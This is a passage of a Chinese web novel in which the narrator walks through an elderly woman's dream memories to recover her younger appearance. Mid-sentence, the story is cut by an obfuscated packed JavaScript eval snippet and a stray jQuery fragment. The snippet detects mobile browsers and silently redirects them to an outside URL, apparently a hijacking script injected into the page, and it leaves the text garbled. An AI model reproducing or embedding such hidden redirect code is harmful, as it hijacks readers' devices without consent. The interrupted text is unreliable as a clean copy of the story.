周围有好多信息在飘。偏偏我什么都看不见，只有记忆撞到我的时候，我的世界才会显示记忆的画面。花阿姨买到漂亮裙子的画面，她女儿结婚摆酒，她老伴摔骨折了住了大半个月医院终于拄着拐出院……虽然我对此有一定的预期，普通人的大脑就像一个乱堆乱放且一辈子都不整理的仓库，但这种混乱程度还是有点超乎我意料。我一点路都看不见，到处有东西在撞我，撞到我的记忆片段随机地在我眼前放映。我往前走，一不小心脚就会陷进泥里——花阿姨家里有几亩地，种水稻，插秧的记忆贯穿于她搬到城市里住之前整整几十年的记忆里。现在这些湿漉漉黏糊糊的记忆都堆在地上，使我寸步难行。
这根本没法开展任何搜索工作，我想起了我的手绳。于是我在黑暗中大喊一声：“珩！”
珩听到了，我被瞬间拽回到社区活动中心的细叶榕下，珩一手拿扫把，一手叉腰，正居高临下地看着我。
我大半个身子估计还在花阿姨的梦里，只剩下嘴能动。
“全是黑的啊，我怎么找她的记忆？”
珩的嘴角不由自主地往旁边拉了拉，又是这个“我不是教过你了吗”的表情。我不敢吱声，等着她训话。
“生理学学过吗？”
“没有。我是半个文盲。”
人只要放下偶像包袱，别人就无法攻击你的无知。来自大哲学家江夷。
“你让她想一下她要回去的记忆，那块脑区就会活动，它就会在黑暗中亮起来。你追着光去就行了。”
醍醐灌顶！茅塞顿开！我应该想到的，毕竟我丢失的记忆总在我不小心触发它们的时候短暂地亮一下。但那些时刻我都在现实里醒着，我从来就没想到原来我能像追一只萤火虫一样，去找光点的确切位置。
“花阿姨，”我大喊，“你能听到吗？”
“你在哪啊？”她的声音从四面八方围过来，“好吓人，你忽然不见了，现在就剩我在三轮车上，它自己开来开去都开不过去。”
“你别管它就行，我现在在你的记忆仓库里，我得找找你二十多岁的记忆，你能不能回想一下以前的事？你最想回到什么时候？”
她在思考，在别人的脑子里看思考的过程，场面实在有些震撼。黑暗的潮湿的空间里，骤然亮起好多点金光，之后点变成线，金色的丝线向周围辐射，点亮一块又一块新的记忆。我看得惊异，站在原地只顾欣赏这奇观，然后反应过来，这些窜来窜去的光，都是我自己要去追的。
花阿姨肯定是在杂乱地回忆，她的脑子像过年时候的卫星摄像图，哪哪都在亮。我简直不知道该追哪一个，不行，这样不行，我得引导一下她。
“花阿姨！”
“哎！”
她的回忆过程被我打断，空间霎时又陷入一片黑暗之中。
“花阿姨，你听我指挥，我们一次只想一件事，这样我才能找到你要的记忆。现在回答我第一个问题，你最想回到几岁的时候？”
“我想想啊，二十五？二十五岁我在干什么……不对，那一年我怀孕了，不行，再往前点，再想想……二十三，就二十三吧，我二十三岁结的婚。”
好多了。我终于看到一条光路，随着她的回忆，缓慢地向前延伸。我追着光去，一边走一边喊：“花阿姨，你继续想着那时候不要停，第二个问题，你那一年最漂亮是什么时候？”
房间熄灯了。所有光都消失了。
“花阿姨，不要停下来！你继续想！”
“你别喊我阿姨行不行？你一喊我阿姨，我就马上记起来自己七十岁了！”
……原来是这个原因。“好，那我叫你什么？你的名字是什么？”
“我不姓花，不知道谁先开头叫的花阿姨，后来大家都这么叫了。我姓于，我叫于兰花。”原来人的衰老是从丢失名字开始的，她说起自己的本名，屋子里又亮了一串。“这名字有点土是吗？我以前也觉得，这是我妈起的，她就认识这几个字。但是后来我不是乳腺癌做手术去了吗，哎？你是不是不知道。”
“啊？我不知道。”
“这么明显两边胸不对称，我以为很容易看出来呢！左边是假的，做完手术之后，在衣服里塞的垫子。哦，哈哈，你也不会盯着一个阿婆的胸看。”事情有些久远，大概是那时候的痛苦都被遗忘得差不多了，她说起这事时心情还不错。“我跟你说，那时候手术完化疗，我才知道我这个名字好。每次化疗都得签好多字，我有个病友，跟我一起手术的，后来我们也经常同一个时间去化疗。她叫魏彩霞，哈哈！我全签完了，她还在签第一张呢。”
她说那是五十岁的事情了。我说五十岁之前呢？她沉默了一小会儿，说她要想想，因为回到过去是不容易的事。“我都快忘记左右两边身子一样重的感觉了。”她这么跟我说。之后她又笑一笑：“你一个男的不能理解，哎，阿珩当时听了也有点不能理解，因为她胸小，她说她要是做手术切了一边，可能一个星期就适应了。真烦呐！”阿珩可能正在外面打喷嚏，说不定还以为是扫落叶粉尘闹的。
我说你要是一下子想不起那么远的，你就慢慢往前推。先想想孩子？从女儿小时候开始想。她跟着我的指引，一点点回顾自己的过去。我在黑暗的泥潭里一脚深一脚浅地跑，还好在这里不受物理或生物规律控制，不然一边负重跑一边说话，还挺考验我的心肺。我追着光跑过去，它引我走到她记忆的很深很深处。女儿终于从四十五岁回到了牙牙学语的时候，而我来到了她二十五岁的记忆。我抬头看，这不能说像是“仰望星空”，因为我就在星空之中。关于女儿童年的每一片碎片都被点亮，金色的光芒在我周围浮动，我抓住其中一个光点，之后我就看见了花阿姨。啊不对，于兰花。
她抱着刚出生的女儿，女儿皱巴巴的，身上红红的，皮肤上沾着奶白色的胎脂，她哭得很用力，表情相当浮夸，小小的脸皱成一团。二十五岁的于兰花抱着小宝宝，她看着孩子看了好久，之后看隔壁年轻版的老伴。老伴也是第一次看见刚出生的小宝宝，她丑得实在有点出乎意料，老伴的表情有点微妙。于兰花欣喜地看向老伴：“你看她多可爱！”老伴演技有限，努力微笑，说：“对啊对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265933|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊。”七十岁的于兰花正和我一起观看这段录像，她在外面“哎呦”一声，说：“你看这老头回答得多勉强，真是的。不过确实是有点丑。”她女儿此刻可能在家狂打喷嚏。
而后时光倒退，小宝宝变回她隆起的肚子，而至于消失。她为了大热天坐月子而剪短的头发迅速变回齐腰的长度，长发打成两条扎实的麻花辫。她的二十三岁距今已有四十多年，好多细节她都遗忘了，处于是与非叠加态的东西越来越多，她在骑自行车，除了她自己的车，外围视野几乎所有东西都在闪。原来遗忘是个过程，从“是这样”变成“好像是这样”，变成“记不清怎样”，最后是“有这么一件事吗”。我被她晃得头晕，只好和她说话，引导她回忆。
“你说你在江边的一个饭店当前台，饭店还挺大的，建在一栋很老的楼里，以前那个楼是全市最高的？”
“对啊，那个楼叫什么来着，我好多年没去那边了——”
“庆群大厦？”
路边的高楼瞬间定型。
“对！！！”她高兴地大叫，“你一说我就想起来了，那时候天天上班骑车过西江大桥，人可多了，全是自行车，地铁站墙上还放了那时候的照片。”?
现在那条桥上下班高峰期依然会堵死，时代是个轮回，只不过现在堵的是电动车。我进一步诱导她去想以前的住所：“你从哪里骑车过去？会经过什么？”
“好多都变了，以前好像是酒吧，很多酒吧，还有……卖衣服的，婚纱店，对了，婚纱店，会经过婚纱街。”
一片记忆猝不及防地撞向我，把我扯了进去。我站在婚纱街上，骑车上班的于兰花一边骑一边看路边一家家婚纱店，她在一个橱窗前停了车，落地橱窗上映出她的身影。橱窗里是纯白的婚纱，橱窗上是她——身形瘦长的年轻女孩，拖着两条大辫子，骑着老式的二十八寸自行车，车子旧得连篮子都没有，她只能把布包背在身上，斜挎布包被她甩到背后。这是一段非常清晰的个人映像，她站在橱窗前看了很久，因为那时候她也要结婚了，但是她买不起这些昂贵的婚纱。她下了车，一点点调整自己和橱窗之间的距离，好让窗玻璃上她的倒影和婚纱重合。
于兰花的声音在我头顶响起：“那时候我这么瘦啊！”然后她开始怀疑我和珩的能力：“你俩真能让我重新变成以前的样子吗？”我跟她保证：“很简单，你甚至现在就可以试一试。”我把那片她照镜子看自己的记忆翻来覆去地看了好几遍，记住了她的外貌特征，之后从她黑漆漆的仓库里探出头来，把我记忆里的她贴到现在的她身上。她低头看了一眼自己的手，之后震惊地看向我，我适时地给她变出来一面镜子，放到了她的手里。她看着镜子里的自己，之后皱皱眉，伸手指向嘴边的一小块灰色胎记：“哎呦这东西我是在三十岁点掉的，要不我们去三十岁？不行，那时候生完小孩胖多了。你能把它点掉吗？”
我的建模素材有限，她那天穿的长袖衬衣，袖子下面的皮肤没有数据，她一动，七十岁阿婆的皮肤就从袖口露了出来。
幸好她没发现，不然还真够吓人的。